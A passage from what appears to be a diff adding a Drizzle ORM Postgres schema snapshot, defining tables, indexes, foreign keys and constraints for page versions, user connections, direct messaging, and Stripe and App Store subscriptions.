[ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_versions_drive_created_at_idx": { + "name": "page_versions_drive_created_at_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_versions_pinned_idx": { + "name": "page_versions_pinned_idx", + "columns": [ + { + "expression": "isPinned", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_versions_page_id_is_pinned_created_at_idx": { + "name": "page_versions_page_id_is_pinned_created_at_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isPinned", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "page_versions_pageId_pages_id_fk": { + "name": "page_versions_pageId_pages_id_fk", + "tableFrom": "page_versions", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "page_versions_driveId_drives_id_fk": { + "name": "page_versions_driveId_drives_id_fk", + "tableFrom": "page_versions", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "page_versions_createdBy_users_id_fk": { + "name": "page_versions_createdBy_users_id_fk", + "tableFrom": "page_versions", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "page_versions_change_group_pair": { + "name": "page_versions_change_group_pair", + "value": "(\"page_versions\".\"changeGroupId\" IS NULL) = (\"page_versions\".\"changeGroupType\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.connections": { + "name": "connections", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user1Id": { + "name": "user1Id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user2Id": { + "name": "user2Id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "ConnectionStatus", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'PENDING'" + }, + "requestedBy": { + "name": "requestedBy", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "requestMessage": { + "name": "requestMessage", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "requestedAt": { + "name": "requestedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "acceptedAt": { + "name": "acceptedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "blockedBy": { + "name": "blockedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "blockedAt": { + "name": "blockedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "connections_user1_id_idx": { + "name": "connections_user1_id_idx", + "columns": [ + { + "expression": "user1Id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "connections_user2_id_idx": { + "name": "connections_user2_id_idx", + "columns": [ + { + "expression": "user2Id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "connections_status_idx": { + "name": "connections_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "connections_user1_status_idx": { + "name": "connections_user1_status_idx", + "columns": [ + { + "expression": "user1Id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "connections_user2_status_idx": { + "name": "connections_user2_status_idx", + "columns": [ + { + "expression": "user2Id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "connections_user1Id_users_id_fk": { + "name": "connections_user1Id_users_id_fk", + "tableFrom": "connections", + "tableTo": "users", + "columnsFrom": [ + "user1Id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "connections_user2Id_users_id_fk": { + "name": "connections_user2Id_users_id_fk", + "tableFrom": "connections", + "tableTo": "users", + "columnsFrom": [ + "user2Id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "connections_requestedBy_users_id_fk": { + "name": "connections_requestedBy_users_id_fk", + "tableFrom": "connections", + "tableTo": "users", + "columnsFrom": [ + "requestedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "connections_blockedBy_users_id_fk": { + "name": "connections_blockedBy_users_id_fk", + "tableFrom": "connections", + "tableTo": "users", + "columnsFrom": [ + "blockedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "connections_user_pair_key": { + "name": "connections_user_pair_key", + "nullsNotDistinct": false, + "columns": [ + "user1Id", + "user2Id" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.direct_message_attachments": { + "name": "direct_message_attachments", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "messageId": { + "name": "messageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "fileId": { + "name": "fileId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "attachmentMeta": { + "name": "attachmentMeta", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "position": { + "name": "position", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "direct_message_attachments_message_position_idx": { + "name": "direct_message_attachments_message_position_idx", + "columns": [ + { + "expression": "messageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "position", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_message_attachments_file_id_idx": { + "name": "direct_message_attachments_file_id_idx", + "columns": [ + { + "expression": "fileId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "direct_message_attachments_messageId_direct_messages_id_fk": { + "name": "direct_message_attachments_messageId_direct_messages_id_fk", + "tableFrom": "direct_message_attachments", + "tableTo": "direct_messages", + "columnsFrom": [ + "messageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "direct_message_attachments_fileId_files_id_fk": { + "name": "direct_message_attachments_fileId_files_id_fk", + "tableFrom": "direct_message_attachments", + "tableTo": "files", + "columnsFrom": [ + "fileId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "direct_message_attachments_position_range": { + "name": "direct_message_attachments_position_range", + "value": "\"direct_message_attachments\".\"position\" >= 0 AND \"direct_message_attachments\".\"position\" < 10" + } + }, + "isRLSEnabled": false + }, + "public.direct_messages": { + "name": "direct_messages", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "conversationId": { + "name": "conversationId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "senderId": { + "name": "senderId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "content": { + "name": "content", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "fileId": { + "name": "fileId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "attachmentMeta": { + "name": "attachmentMeta", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "isRead": { + "name": "isRead", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "readAt": { + "name": "readAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "isEdited": { + "name": "isEdited", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "editedAt": { + "name": "editedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "isActive": { + "name": "isActive", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "deletedAt": { + "name": "deletedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "parentId": { + "name": "parentId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "replyCount": { + "name": "replyCount", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "lastReplyAt": { + "name": "lastReplyAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "mirroredFromId": { + "name": "mirroredFromId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "quotedMessageId": { + "name": "quotedMessageId", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "direct_messages_conversation_id_idx": { + "name": "direct_messages_conversation_id_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_sender_id_idx": { + "name": "direct_messages_sender_id_idx", + "columns": [ + { + "expression": "senderId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_created_at_idx": { + "name": "direct_messages_created_at_idx", + "columns": [ + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_file_id_idx": { + "name": "direct_messages_file_id_idx", + "columns": [ + { + "expression": "fileId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_conversation_active_created_idx": { + "name": "direct_messages_conversation_active_created_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isActive", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_inactive_deleted_at_idx": { + "name": "direct_messages_inactive_deleted_at_idx", + "columns": [ + { + "expression": "isActive", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deletedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_conversation_created_idx": { + "name": "direct_messages_conversation_created_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_conversation_is_read_idx": { + "name": "direct_messages_conversation_is_read_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isRead", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_unread_count_idx": { + "name": "direct_messages_unread_count_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "senderId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isRead", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_parent_created_idx": { + "name": "direct_messages_parent_created_idx", + "columns": [ + { + "expression": "parentId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "direct_messages_quoted_id_idx": { + "name": "direct_messages_quoted_id_idx", + "columns": [ + { + "expression": "quotedMessageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "direct_messages_conversationId_dm_conversations_id_fk": { + "name": "direct_messages_conversationId_dm_conversations_id_fk", + "tableFrom": "direct_messages", + "tableTo": "dm_conversations", + "columnsFrom": [ + "conversationId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "direct_messages_senderId_users_id_fk": { + "name": "direct_messages_senderId_users_id_fk", + "tableFrom": "direct_messages", + "tableTo": "users", + "columnsFrom": [ + "senderId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "direct_messages_fileId_files_id_fk": { + "name": "direct_messages_fileId_files_id_fk", + "tableFrom": "direct_messages", + "tableTo": "files", + "columnsFrom": [ + "fileId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "direct_messages_parentId_direct_messages_id_fk": { + "name": "direct_messages_parentId_direct_messages_id_fk", + "tableFrom": "direct_messages", + "tableTo": "direct_messages", + "columnsFrom": [ + "parentId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "direct_messages_mirroredFromId_direct_messages_id_fk": { + "name": "direct_messages_mirroredFromId_direct_messages_id_fk", + "tableFrom": "direct_messages", + "tableTo": "direct_messages", + "columnsFrom": [ + "mirroredFromId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "direct_messages_quotedMessageId_direct_messages_id_fk": { + "name": "direct_messages_quotedMessageId_direct_messages_id_fk", + "tableFrom": "direct_messages", + "tableTo": "direct_messages", + "columnsFrom": [ + "quotedMessageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.dm_conversations": { + "name": "dm_conversations", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "participant1Id": { + "name": "participant1Id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "participant2Id": { + "name": "participant2Id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "lastMessageAt": { + "name": "lastMessageAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastMessagePreview": { + "name": "lastMessagePreview", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "participant1LastRead": { + "name": "participant1LastRead", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "participant2LastRead": { + "name": "participant2LastRead", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "dm_conversations_participant1_id_idx": { + "name": "dm_conversations_participant1_id_idx", + "columns": [ + { + "expression": "participant1Id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "dm_conversations_participant2_id_idx": { + "name": "dm_conversations_participant2_id_idx", + "columns": [ + { + "expression": "participant2Id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "dm_conversations_last_message_at_idx": { + "name": "dm_conversations_last_message_at_idx", + "columns": [ + { + "expression": "lastMessageAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "dm_conversations_participant1_last_message_idx": { + "name": "dm_conversations_participant1_last_message_idx", + "columns": [ + { + "expression": "participant1Id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "lastMessageAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "dm_conversations_participant2_last_message_idx": { + "name": "dm_conversations_participant2_last_message_idx", + "columns": [ + { + "expression": "participant2Id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "lastMessageAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "dm_conversations_participant1Id_users_id_fk": { + "name": "dm_conversations_participant1Id_users_id_fk", + "tableFrom": "dm_conversations", + "tableTo": "users", + "columnsFrom": [ + "participant1Id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "dm_conversations_participant2Id_users_id_fk": { + "name": "dm_conversations_participant2Id_users_id_fk", + "tableFrom": "dm_conversations", + "tableTo": "users", + "columnsFrom": [ + "participant2Id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "dm_conversations_participant_pair_key": { + "name": "dm_conversations_participant_pair_key", + "nullsNotDistinct": false, + "columns": [ + "participant1Id", + "participant2Id" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.dm_message_reactions": { + "name": "dm_message_reactions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "messageId": { + "name": "messageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "emoji": { + "name": "emoji", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "dm_unique_reaction_idx": { + "name": "dm_unique_reaction_idx", + "columns": [ + { + "expression": "messageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "emoji", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "dm_reaction_message_idx": { + "name": "dm_reaction_message_idx", + "columns": [ + { + "expression": "messageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "dm_message_reactions_messageId_direct_messages_id_fk": { + "name": "dm_message_reactions_messageId_direct_messages_id_fk", + "tableFrom": "dm_message_reactions", + "tableTo": "direct_messages", + "columnsFrom": [ + "messageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "dm_message_reactions_userId_users_id_fk": { + "name": "dm_message_reactions_userId_users_id_fk", + "tableFrom": "dm_message_reactions", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.dm_thread_followers": { + "name": "dm_thread_followers", + "schema": "", + "columns": { + "rootMessageId": { + "name": "rootMessageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "dm_thread_followers_user_id_idx": { + "name": "dm_thread_followers_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "dm_thread_followers_rootMessageId_direct_messages_id_fk": { + "name": "dm_thread_followers_rootMessageId_direct_messages_id_fk", + "tableFrom": "dm_thread_followers", + "tableTo": "direct_messages", + "columnsFrom": [ + "rootMessageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "dm_thread_followers_userId_users_id_fk": { + "name": "dm_thread_followers_userId_users_id_fk", + "tableFrom": "dm_thread_followers", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "dm_thread_followers_rootMessageId_userId_pk": { + "name": "dm_thread_followers_rootMessageId_userId_pk", + "columns": [ + "rootMessageId", + "userId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.stripe_events": { + "name": "stripe_events", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "processedAt": { + "name": "processedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "stripe_events_type_idx": { + "name": "stripe_events_type_idx", + "columns": [ + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "stripe_events_processed_at_idx": { + "name": "stripe_events_processed_at_idx", + "columns": [ + { + "expression": "processedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.subscriptions": { + "name": "subscriptions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeSubscriptionId": { + "name": "stripeSubscriptionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripePriceId": { + "name": "stripePriceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "currentPeriodStart": { + "name": "currentPeriodStart", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "currentPeriodEnd": { + "name": "currentPeriodEnd", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "cancelAtPeriodEnd": { + "name": "cancelAtPeriodEnd", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "gifted": { + "name": "gifted", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "stripeScheduleId": { + "name": "stripeScheduleId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "scheduledPriceId": { + "name": "scheduledPriceId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "scheduledChangeDate": { + "name": "scheduledChangeDate", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "stripeStorageItemId": { + "name": "stripeStorageItemId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "storageBlocks": { + "name": "storageBlocks", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "storageGraceBlocks": { + "name": "storageGraceBlocks", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "storageGraceUntil": { + "name": "storageGraceUntil", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "storageRevision": { + "name": "storageRevision", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "subscriptions_user_id_idx": { + "name": "subscriptions_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "subscriptions_stripe_subscription_id_idx": { + "name": "subscriptions_stripe_subscription_id_idx", + "columns": [ + { + "expression": "stripeSubscriptionId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "subscriptions_stripe_schedule_id_idx": { + "name": "subscriptions_stripe_schedule_id_idx", + "columns": [ + { + "expression": "stripeScheduleId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "subscriptions_userId_users_id_fk": { + "name": "subscriptions_userId_users_id_fk", + "tableFrom": "subscriptions", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "subscriptions_stripeSubscriptionId_unique": { + "name": "subscriptions_stripeSubscriptionId_unique", + "nullsNotDistinct": false, + "columns": [ + "stripeSubscriptionId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.app_store_accounts": { + "name": "app_store_accounts", + "schema": "", + "columns": { + "userId": { + "name": "userId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "accountToken": { + "name": "accountToken", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": { + "app_store_accounts_userId_users_id_fk": { + "name": "app_store_accounts_userId_users_id_fk", + "tableFrom": "app_store_accounts", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "app_store_accounts_accountToken_unique": { + "name": "app_store_accounts_accountToken_unique", + "nullsNotDistinct": false, + "columns": [ + "accountToken" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.app_store_notifications": { + "name": "app_store_notifications", + "schema": "", + "columns": { + "notificationUUID": { + "name": "notificationUUID", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "subtype": { + "name": "subtype", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "processedAt": { + "name": "processedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "app_store_notifications_processed_at_idx": { + "name": "app_store_notifications_processed_at_idx", + "columns": [ + { + "expression": "processedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.app_store_subscriptions": { + "name": "app_store_subscriptions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "originalTransactionId": { + "name": "originalTransactionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "latestTransactionId": { + "name": "latestTransactionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "productId": { + "name": "productId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "environment": { + "name": "environment", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "currentPeriodStart": { + "name": "currentPeriodStart", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "autoRenew": { + "name": "autoRenew", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "autoRenewSignedAt": { + "name": "autoRenewSignedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "lastSignedAt": { + "name": "lastSignedAt", + "type": "timestamp with time zone", + "primaryKey": false, + 